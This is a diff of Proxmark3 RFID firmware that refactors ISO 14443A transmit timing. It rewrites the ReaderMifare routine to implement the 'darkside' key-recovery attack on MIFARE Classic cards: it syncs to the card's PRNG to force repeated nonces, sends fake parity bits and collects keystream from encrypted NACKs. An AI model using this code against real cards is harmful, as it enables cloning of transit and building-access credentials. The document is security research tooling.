uint8_t response6[] = { 0x03, 0x3B, 0x00, 0x00, 0x00 }; // dummy ATS (pseudo-ATR), answer to RATS
ComputeCrc14443(CRC_14443_A, response6, 3, &response6[3], &response6[4]);
- uint8_t *resp;
+ uint8_t *resp = NULL;
int respLen;
// Longest possible response will be 16 bytes + 2 CRC = 18 bytes
LED_A_OFF();
}
+
+// prepare a delayed transfer. This simply shifts ToSend[] by a number
+// of bits specified in the delay parameter.
+void PrepareDelayedTransfer(uint16_t delay)
+{
+ uint8_t bitmask = 0;
+ uint8_t bits_to_shift = 0;
+ uint8_t bits_shifted = 0;
+
+ delay &= 0x07;
+ if (delay) {
+ for (uint16_t i = 0; i < delay; i++) {
+ bitmask |= (0x01 << i);
+ }
+ ToSend[++ToSendMax] = 0x00;
+ for (uint16_t i = 0; i < ToSendMax; i++) {
+ bits_to_shift = ToSend[i] & bitmask;
+ ToSend[i] = ToSend[i] >> delay;
+ ToSend[i] = ToSend[i] | (bits_shifted << (8 - delay));
+ bits_shifted = bits_to_shift;
+ }
+ }
+}
+
+
+
+
//-----------------------------------------------------------------------------
// Transmit the command (to the tag) that was placed in ToSend[].
+// Parameter timing:
+// if NULL: ignored
+// if == 0: return time of transfer
+// if != 0: delay transfer until time specified
//-----------------------------------------------------------------------------
-static void TransmitFor14443a(const uint8_t *cmd, int len, int *samples, int *wait)
+static void TransmitFor14443a(const uint8_t *cmd, int len, uint32_t *timing)
{
- int c;
+ int c;
- FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD);
+ FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD);
- if (wait)
- if(*wait < 10)
- *wait = 10;
- for(c = 0; c < *wait;) {
- if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) {
- AT91C_BASE_SSC->SSC_THR = 0x00; // For exact timing!
- c++;
- }
- if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) {
- volatile uint32_t r = AT91C_BASE_SSC->SSC_RHR;
- (void)r;
- }
- WDT_HIT();
- }
+ if (timing) {
+ if(*timing == 0) { // Measure time
+ *timing = (GetCountMifare() + 8) & 0xfffffff8;
+ } else {
+ PrepareDelayedTransfer(*timing & 0x00000007); // Delay transfer (fine tuning - up to 7 MF clock ticks)
+ }
+ if(MF_DBGLEVEL >= 4 && GetCountMifare() >= (*timing & 0xfffffff8)) Dbprintf("TransmitFor14443a: Missed timing");
+ while(GetCountMifare() < (*timing & 0xfffffff8)); // Delay transfer (multiple of 8 MF clock ticks)
+ }
+
+ for(c = 0; c < 10;) { // standard delay for each transfer (allow tag to be ready after last transmission)
+ if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) {
+ AT91C_BASE_SSC->SSC_THR = 0x00;
+ c++;
+ }
+ }
+
+ c = 0;
+ for(;;) {
+ if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) {
+ AT91C_BASE_SSC->SSC_THR = cmd[c];
+ c++;
+ if(c >= len) {
+ break;
+ }
+ }
+ }
- c = 0;
- for(;;) {
- if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) {
- AT91C_BASE_SSC->SSC_THR = cmd[c];
- c++;
- if(c >= len) {
- break;
- }
- }
- if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) {
- volatile uint32_t r = AT91C_BASE_SSC->SSC_RHR;
- (void)r;
- }
- WDT_HIT();
- }
- if (samples) *samples = (c + *wait) << 3;
}
//-----------------------------------------------------------------------------
// Signal field is on with the appropriate LED
LED_D_ON();
FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_LISTEN);
-
+
// Now get the answer from the card
Demod.output = receivedResponse;
Demod.len = 0;
for(;;) {
WDT_HIT();
- if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) {
- AT91C_BASE_SSC->SSC_THR = 0x00; // To make use of exact timing of next command from reader!!
- if (elapsed) (*elapsed)++;
- }
+ // if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) {
+ // AT91C_BASE_SSC->SSC_THR = 0x00; // To make use of exact timing of next command from reader!!
+ // if (elapsed) (*elapsed)++;
+ // }
if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) {
if(c < iso14a_timeout) { c++; } else { return FALSE; }
b = (uint8_t)AT91C_BASE_SSC->SSC_RHR;
}
}
-void ReaderTransmitBitsPar(uint8_t* frame, int bits, uint32_t par)
+void ReaderTransmitBitsPar(uint8_t* frame, int bits, uint32_t par, uint32_t *timing)
{
- int wait = 0;
- int samples = 0;
-
- // This is tied to other size changes
- // uint8_t* frame_addr = ((uint8_t*)BigBuf) + 2024;
+
CodeIso14443aBitsAsReaderPar(frame,bits,par);
// Select the card
- TransmitFor14443a(ToSend, ToSendMax, &samples, &wait);
+ TransmitFor14443a(ToSend, ToSendMax, timing);
if(trigger)
LED_A_ON();
if (tracing) LogTrace(frame,nbytes(bits),0,par,TRUE);
}
-void ReaderTransmitPar(uint8_t* frame, int len, uint32_t par)
+void ReaderTransmitPar(uint8_t* frame, int len, uint32_t par, uint32_t *timing)
{
- ReaderTransmitBitsPar(frame,len*8,par);
+ ReaderTransmitBitsPar(frame,len*8,par, timing);
}
-void ReaderTransmit(uint8_t* frame, int len)
+void ReaderTransmit(uint8_t* frame, int len, uint32_t *timing)
{
// Generate parity and redirect
- ReaderTransmitBitsPar(frame,len*8,GetParity(frame,len));
+ ReaderTransmitBitsPar(frame,len*8,GetParity(frame,len), timing);
}
int ReaderReceive(uint8_t* receivedAnswer)
* fills the uid pointer unless NULL
* fills resp_data unless NULL */
int iso14443a_select_card(byte_t* uid_ptr, iso14a_card_select_t* p_hi14a_card, uint32_t* cuid_ptr) {
- uint8_t wupa[] = { 0x52 }; // 0x26 - REQA 0x52 - WAKE-UP
- uint8_t sel_all[] = { 0x93,0x20 };
- uint8_t sel_uid[] = { 0x93,0x70,0x00,0x00,0x00,0x00,0x00,0x00,0x00 };
- uint8_t rats[] = { 0xE0,0x80,0x00,0x00 }; // FSD=256, FSDI=8, CID=0
- uint8_t* resp = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET); // was 3560 - tied to other size changes
+ uint8_t wupa[] = { 0x52 }; // 0x26 - REQA 0x52 - WAKE-UP
+ uint8_t sel_all[] = { 0x93,0x20 };
+ uint8_t sel_uid[] = { 0x93,0x70,0x00,0x00,0x00,0x00,0x00,0x00,0x00 };
+ uint8_t rats[] = { 0xE0,0x80,0x00,0x00 }; // FSD=256, FSDI=8, CID=0
+ uint8_t* resp = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET); // was 3560 - tied to other size changes
byte_t uid_resp[4];
size_t uid_resp_len;
- uint8_t sak = 0x04; // cascade uid
- int cascade_level = 0;
- int len;
+ uint8_t sak = 0x04; // cascade uid
+ int cascade_level = 0;
+ int len;
- // Broadcast for a card, WUPA (0x52) will force response from all cards in the field
- ReaderTransmitBitsPar(wupa,7,0);
- // Receive the ATQA
- if(!ReaderReceive(resp)) return 0;
+ // Broadcast for a card, WUPA (0x52) will force response from all cards in the field
+ ReaderTransmitBitsPar(wupa,7,0, NULL);
+ // Receive the ATQA
+ if(!ReaderReceive(resp)) return 0;
// Dbprintf("atqa: %02x %02x",resp[0],resp[1]);
-
- if(p_hi14a_card) {
- memcpy(p_hi14a_card->atqa, resp, 2);
+
+ if(p_hi14a_card) {
+ memcpy(p_hi14a_card->atqa, resp, 2);
p_hi14a_card->uidlen = 0;
memset(p_hi14a_card->uid,0,10);
}
memset(uid_ptr,0,10);
}
- // OK we will select at least at cascade 1, lets see if first byte of UID was 0x88 in
- // which case we need to make a cascade 2 request and select - this is a long UID
- // While the UID is not complete, the 3nd bit (from the right) is set in the SAK.
- for(; sak & 0x04; cascade_level++)
- {
- // SELECT_* (L1: 0x93, L2: 0x95, L3: 0x97)
- sel_uid[0] = sel_all[0] = 0x93 + cascade_level * 2;
+ // OK we will select at least at cascade 1, lets see if first byte of UID was 0x88 in
+ // which case we need to make a cascade 2 request and select - this is a long UID
+ // While the UID is not complete, the 3nd bit (from the right) is set in the SAK.
+ for(; sak & 0x04; cascade_level++) {
+ // SELECT_* (L1: 0x93, L2: 0x95, L3: 0x97)
+ sel_uid[0] = sel_all[0] = 0x93 + cascade_level * 2;
- // SELECT_ALL
- ReaderTransmit(sel_all,sizeof(sel_all));
- if (!ReaderReceive(resp)) return 0;
+ // SELECT_ALL
+ ReaderTransmit(sel_all,sizeof(sel_all), NULL);
+ if (!ReaderReceive(resp)) return 0;
- // First backup the current uid
+ // First backup the current uid
memcpy(uid_resp,resp,4);
uid_resp_len = 4;
// Dbprintf("uid: %02x %02x %02x %02x",uid_resp[0],uid_resp[1],uid_resp[2],uid_resp[3]);
- // calculate crypto UID
- if(cuid_ptr) {
- *cuid_ptr = bytes_to_num(uid_resp, 4);
+ // calculate crypto UID. Always use last 4 Bytes.
+ if(cuid_ptr) {
+ *cuid_ptr = bytes_to_num(uid_resp, 4);
}
- // Construct SELECT UID command
+ // Construct SELECT UID command
memcpy(sel_uid+2,resp,5);
- AppendCrc14443a(sel_uid,7);
- ReaderTransmit(sel_uid,sizeof(sel_uid));
+ AppendCrc14443a(sel_uid,7);
+ ReaderTransmit(sel_uid,sizeof(sel_uid), NULL);
- // Receive the SAK
- if (!ReaderReceive(resp)) return 0;
- sak = resp[0];
+ // Receive the SAK
+ if (!ReaderReceive(resp)) return 0;
+ sak = resp[0];
// Test if more parts of the uid are comming
if ((sak & 0x04) && uid_resp[0] == 0x88) {
// Remove first byte, 0x88 is not an UID byte, it CT, see page 3 of:
// http://www.nxp.com/documents/application_note/AN10927.pdf
- memcpy(uid_ptr, uid_ptr + 1, 3);
+ memcpy(uid_resp, uid_resp + 1, 3);
uid_resp_len = 3;
}
memcpy(p_hi14a_card->uid + (cascade_level*3), uid_resp, uid_resp_len);
p_hi14a_card->uidlen += uid_resp_len;
}
- }
+ }
- if(p_hi14a_card) {
- p_hi14a_card->sak = sak;
- p_hi14a_card->ats_len = 0;
- }
+ if(p_hi14a_card) {
+ p_hi14a_card->sak = sak;
+ p_hi14a_card->ats_len = 0;
+ }
- if( (sak & 0x20) == 0) {
- return 2; // non iso14443a compliant tag
+ if( (sak & 0x20) == 0) {
+ return 2; // non iso14443a compliant tag
}
- // Request for answer to select
+ // Request for answer to select
AppendCrc14443a(rats, 2);
- ReaderTransmit(rats, sizeof(rats));
-
+ ReaderTransmit(rats, sizeof(rats), NULL);
+
if (!(len = ReaderReceive(resp))) return 0;
if(p_hi14a_card) {
- memcpy(p_hi14a_card->ats, resp, sizeof(p_hi14a_card->ats));
- p_hi14a_card->ats_len = len;
- }
+ memcpy(p_hi14a_card->ats, resp, sizeof(p_hi14a_card->ats));
+ p_hi14a_card->ats_len = len;
+ }
- // reset the PCB block number
- iso14_pcb_blocknum = 0;
- return 1;
+ // reset the PCB block number
+ iso14_pcb_blocknum = 0;
+ return 1;
}
void iso14443a_setup() {
- // Set up the synchronous serial port
- FpgaSetupSsc();
+ // Set up the synchronous serial port
+ FpgaSetupSsc();
// Start from off (no field generated)
// Signal field is off with the appropriate LED
- LED_D_OFF();
- FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
- SpinDelay(50);
+// LED_D_OFF();
+// FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
+ // SpinDelay(50);
SetAdcMuxFor(GPIO_MUXSEL_HIPKD);
// Signal field is on with the appropriate LED
LED_D_ON();
FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD);
- SpinDelay(50);
+ SpinDelay(7); // iso14443-3 specifies 5ms max.
iso14a_timeout = 2048; //default
}
memcpy(real_cmd+2, cmd, cmd_len);
AppendCrc14443a(real_cmd,cmd_len+2);
- ReaderTransmit(real_cmd, cmd_len+4);
+ ReaderTransmit(real_cmd, cmd_len+4, NULL);
size_t len = ReaderReceive(data);
uint8_t * data_bytes = (uint8_t *) data;
if (!len)
iso14a_command_t param = c->arg[0];
uint8_t * cmd = c->d.asBytes;
size_t len = c->arg[1];
- uint32_t arg0 = 0;
- byte_t buf[USB_CMD_DATA_SIZE];
+ uint32_t arg0 = 0;
+ byte_t buf[USB_CMD_DATA_SIZE];
- iso14a_clear_trace();
- iso14a_set_tracing(true);
+ iso14a_clear_trace();
+ iso14a_set_tracing(true);
if(param & ISO14A_REQUEST_TRIGGER) {
- iso14a_set_trigger(1);
- }
+ iso14a_set_trigger(1);
+ }
if(param & ISO14A_CONNECT) {
iso14443a_setup();
- arg0 = iso14443a_select_card(NULL,(iso14a_card_select_t*)buf,NULL);
+ arg0 = iso14443a_select_card(NULL, (iso14a_card_select_t*)buf, NULL);
cmd_send(CMD_ACK,arg0,0,0,buf,sizeof(iso14a_card_select_t));
-// UsbSendPacket((void *)ack, sizeof(UsbCommand));
}
if(param & ISO14A_SET_TIMEOUT) {
if(param & ISO14A_APDU) {
arg0 = iso14_apdu(cmd, len, buf);
cmd_send(CMD_ACK,arg0,0,0,buf,sizeof(buf));
-// UsbSendPacket((void *)ack, sizeof(UsbCommand));
}
if(param & ISO14A_RAW) {
AppendCrc14443a(cmd,len);
len += 2;
}
- ReaderTransmit(cmd,len);
+ ReaderTransmit(cmd,len, NULL);
arg0 = ReaderReceive(buf);
-// UsbSendPacket((void *)ack, sizeof(UsbCommand));
- cmd_send(CMD_ACK,arg0,0,0,buf,sizeof(buf));
+ cmd_send(CMD_ACK,arg0,0,0,buf,sizeof(buf));
}
if(param & ISO14A_REQUEST_TRIGGER) {
- iso14a_set_trigger(0);
- }
+ iso14a_set_trigger(0);
+ }
if(param & ISO14A_NO_DISCONNECT) {
return;
- }
+ }
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
LEDsoff();
}
+
+// Determine the distance between two nonces.
+// Assume that the difference is small, but we don't know which is first.
+// Therefore try in alternating directions.
+int32_t dist_nt(uint32_t nt1, uint32_t nt2) {
+
+ uint16_t i;
+ uint32_t nttmp1, nttmp2;
+
+ if (nt1 == nt2) return 0;
+
+ nttmp1 = nt1;
+ nttmp2 = nt2;
+
+ for (i = 1; i < 32768; i++) {
+ nttmp1 = prng_successor(nttmp1, 1);
+ if (nttmp1 == nt2) return i;
+ nttmp2 = prng_successor(nttmp2, 1);
+ if (nttmp2 == nt1) return -i;
+ }
+
+ return(-99999); // either nt1 or nt2 are invalid nonces
+}
+
+
//-----------------------------------------------------------------------------
-// Read an ISO 14443a tag. Send out commands and store answers.
-//
+// Recover several bits of the cypher stream. This implements (first stages of)
+// the algorithm described in "The Dark Side of Security by Obscurity and
+// Cloning MiFare Classic Rail and Building Passes, Anywhere, Anytime"
+// (article by Nicolas T. Courtois, 2009)
//-----------------------------------------------------------------------------
-void ReaderMifare(uint32_t parameter)
+void ReaderMifare(bool first_try)
{
// Mifare AUTH
uint8_t mf_auth[] = { 0x60,0x00,0xf5,0x7b };
uint8_t mf_nr_ar[] = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 };
+ static uint8_t mf_nr_ar3;
- uint8_t* receivedAnswer = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET); // was 3560 - tied to other size changes
+ uint8_t* receivedAnswer = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET);
traceLen = 0;
tracing = false;
- iso14443a_setup();
-
- LED_A_ON();
- LED_B_OFF();
- LED_C_OFF();
-
byte_t nt_diff = 0;
- LED_A_OFF();
byte_t par = 0;
//byte_t par_mask = 0xff;
- byte_t par_low = 0;
- int led_on = TRUE;
- uint8_t uid[8];
+ static byte_t par_low = 0;
+ bool led_on = TRUE;
+ uint8_t uid[10];
uint32_t cuid;
- tracing = FALSE;
- byte_t nt[4] = {0,0,0,0};
- byte_t nt_attacked[4], nt_noattack[4];
+ uint32_t nt, previous_nt;
+ static uint32_t nt_attacked = 0;
byte_t par_list[8] = {0,0,0,0,0,0,0,0};
byte_t ks_list[8] = {0,0,0,0,0,0,0,0};
- num_to_bytes(parameter, 4, nt_noattack);
- int isOK = 0, isNULL = 0;
- while(TRUE)
- {
- LED_C_OFF();
- FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
- SpinDelay(50);
- FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD);
- LED_C_ON();
- SpinDelay(2);
+ static uint32_t sync_time;
+ static uint32_t sync_cycles;
+ int catch_up_cycles = 0;
+ int last_catch_up = 0;
+ uint16_t consecutive_resyncs = 0;
+ int isOK = 0;
+
+
+
+ if (first_try) {
+ StartCountMifare();
+ mf_nr_ar3 = 0;
+ iso14443a_setup();
+ while((GetCountMifare() & 0xffff0000) != 0x10000); // wait for counter to reset and "warm up"
+ sync_time = GetCountMifare() & 0xfffffff8;
+ sync_cycles = 65536; // theory: Mifare Classic's random generator repeats every 2^16 cycles (and so do the nonces).
+ nt_attacked = 0;
+ nt = 0;
+ par = 0;
+ }
+ else {
+ // we were unsuccessful on a previous call. Try another READER nonce (first 3 parity bits remain the same)
+ // nt_attacked = prng_successor(nt_attacked, 1);
+ mf_nr_ar3++;
+ mf_nr_ar[3] = mf_nr_ar3;
+ par = par_low;
+ }
+
+ LED_A_ON();
+ LED_B_OFF();
+ LED_C_OFF();
+
+
+ for(uint16_t i = 0; TRUE; i++) {
+
+ WDT_HIT();
// Test if the action was cancelled
if(BUTTON_PRESS()) {
break;
}
+
+ LED_C_ON();
+
+ if(!iso14443a_select_card(uid, NULL, &cuid)) {
+ if (MF_DBGLEVEL >= 1) Dbprintf("Mifare: Can't select card");
+ continue;
+ }
- if(!iso14443a_select_card(uid, NULL, &cuid)) continue;
+ //keep the card active
+ FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD);
- // Transmit MIFARE_CLASSIC_AUTH
- ReaderTransmit(mf_auth, sizeof(mf_auth));
+ // CodeIso14443aBitsAsReaderPar(mf_auth, sizeof(mf_auth)*8, GetParity(mf_auth, sizeof(mf_auth)*8));
- // Receive the (16 bit) "random" nonce
- if (!ReaderReceive(receivedAnswer)) continue;
- memcpy(nt, receivedAnswer, 4);
+ sync_time = (sync_time & 0xfffffff8) + sync_cycles + catch_up_cycles;
+ catch_up_cycles = 0;
- // Transmit reader nonce and reader answer
- ReaderTransmitPar(mf_nr_ar, sizeof(mf_nr_ar),par);
+ // if we missed the sync time already, advance to the next nonce repeat
+ while(GetCountMifare() > sync_time) {
+ sync_time = (sync_time & 0xfffffff8) + sync_cycles;
+ }
- // Receive 4 bit answer
- if (ReaderReceive(receivedAnswer))
- {
- if ( (parameter != 0) && (memcmp(nt, nt_noattack, 4) == 0) ) continue;
+ // Transmit MIFARE_CLASSIC_AUTH at synctime. Should result in returning the same tag nonce (== nt_attacked)
+ ReaderTransmit(mf_auth, sizeof(mf_auth), &sync_time);
+
+ // Receive the (4 Byte) "random" nonce
+ if (!ReaderReceive(receivedAnswer)) {
+ if (MF_DBGLEVEL >= 1) Dbprintf("Mifare: Couldn't receive tag nonce");
+ continue;
+ }
+
+ previous_nt = nt;
+ nt = bytes_to_num(receivedAnswer, 4);
+
+ // Transmit reader nonce with fake par
+ ReaderTransmitPar(mf_nr_ar, sizeof(mf_nr_ar), par, NULL);
- isNULL = !(nt_attacked[0] == 0) && (nt_attacked[1] == 0) && (nt_attacked[2] == 0) && (nt_attacked[3] == 0);
- if ( (isNULL != 0 ) && (memcmp(nt, nt_attacked, 4) != 0) ) continue;
+ if (first_try && previous_nt && !nt_attacked) { // we didn't calibrate our clock yet
+ int nt_distance = dist_nt(previous_nt, nt);
+ if (nt_distance == 0) {
+ nt_attacked = nt;
+ }
+ else {
+ if (nt_distance == -99999) { // invalid nonce received, try again
+ continue;
+ }
+ sync_cycles = (sync_cycles - nt_distance);
+ if (MF_DBGLEVEL >= 3) Dbprintf("calibrating in cycle %d. nt_distance=%d, Sync_cycles: %d\n", i, nt_distance, sync_cycles);
+ continue;
+ }
+ }
+ if ((nt != nt_attacked) && nt_attacked) { // we somehow lost sync. Try to catch up again...
+ catch_up_cycles = -dist_nt(nt_attacked, nt);
+ if (catch_up_cycles == 99999) { // invalid nonce received. Don't resync on that one.
+ catch_up_cycles = 0;
+ continue;
+ }
+ if (catch_up_cycles == last_catch_up) {
+ consecutive_resyncs++;
+ }
+ else {
+ last_catch_up = catch_up_cycles;
+ consecutive_resyncs = 0;
+ }
+ if (consecutive_resyncs < 3) {
+ if (MF_DBGLEVEL >= 3) Dbprintf("Lost sync in cycle %d. nt_distance=%d. Consecutive Resyncs = %d. Trying one time catch up...\n", i, -catch_up_cycles, consecutive_resyncs);
+ }
+ else {
+ sync_cycles = sync_cycles + catch_up_cycles;
+ if (MF_DBGLEVEL >= 3) Dbprintf("Lost sync in cycle %d for the fourth time consecutively (nt_distance = %d). Adjusting sync_cycles to %d.\n", i, -catch_up_cycles, sync_cycles);
+ }
+ continue;
+ }
+
+ consecutive_resyncs = 0;
+
+ // Receive answer. This will be a 4 Bit NACK when the 8 parity bits are OK after decoding
+ if (ReaderReceive(receivedAnswer))
+ {
+ catch_up_cycles = 8; // the PRNG is delayed by 8 cycles due to the NAC (4Bits = 0x05 encrypted) transfer
+
if (nt_diff == 0)
{
- LED_A_ON();
- memcpy(nt_attacked, nt, 4);
- //par_mask = 0xf8;
- par_low = par & 0x07;
+ par_low = par & 0x07; // there is no need to check all parities for other nt_diff. Parity Bits for mf_nr_ar[0..2] won't change
}
led_on = !led_on;
if(led_on) LED_B_ON(); else LED_B_OFF();
+
par_list[nt_diff] = par;
ks_list[nt_diff] = receivedAnswer[0] ^ 0x05;
}
nt_diff = (nt_diff + 1) & 0x07;
- mf_nr_ar[3] = nt_diff << 5;
+ mf_nr_ar[3] = (mf_nr_ar[3] & 0x1F) | (nt_diff << 5);
par = par_low;
} else {
- if (nt_diff == 0)
+ if (nt_diff == 0 && first_try)
{
par++;
} else {
}
}
- LogTrace(nt, 4, 0, GetParity(nt, 4), TRUE);
+ LogTrace((const uint8_t *)&nt, 4, 0, GetParity((const uint8_t *)&nt, 4), TRUE);
LogTrace(par_list, 8, 0, GetParity(par_list, 8), TRUE);
LogTrace(ks_list, 8, 0, GetParity(ks_list, 8), TRUE);
- byte_t buf[48];
-// UsbCommand ack = {CMD_ACK, {isOK, 0, 0}};
+ mf_nr_ar[3] &= 0x1F;
+
+ byte_t buf[28];
memcpy(buf + 0, uid, 4);
- memcpy(buf + 4, nt, 4);
+ num_to_bytes(nt, 4, buf + 4);
memcpy(buf + 8, par_list, 8);
memcpy(buf + 16, ks_list, 8);
+ memcpy(buf + 24, mf_nr_ar, 4);
- LED_B_ON();
- cmd_send(CMD_ACK,isOK,0,0,buf,48);
-// UsbSendPacket((uint8_t *)&ack, sizeof(UsbCommand));
- LED_B_OFF();
+ cmd_send(CMD_ACK,isOK,0,0,buf,28);
// Thats it...
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
LEDsoff();
tracing = TRUE;
-
- if (MF_DBGLEVEL >= 1) DbpString("COMMAND mifare FINISHED");
}
-
//-----------------------------------------------------------------------------
// MIFARE 1K simulate.
//
Dbprintf("maxDataLen=%x, Uart.state=%x, Uart.byteCnt=%x Uart.byteCntMax=%x", maxDataLen, Uart.state, Uart.byteCnt, Uart.byteCntMax);
LEDsoff();
-}
\ No newline at end of file
+}
projects / proxmark3-svn / blobdiff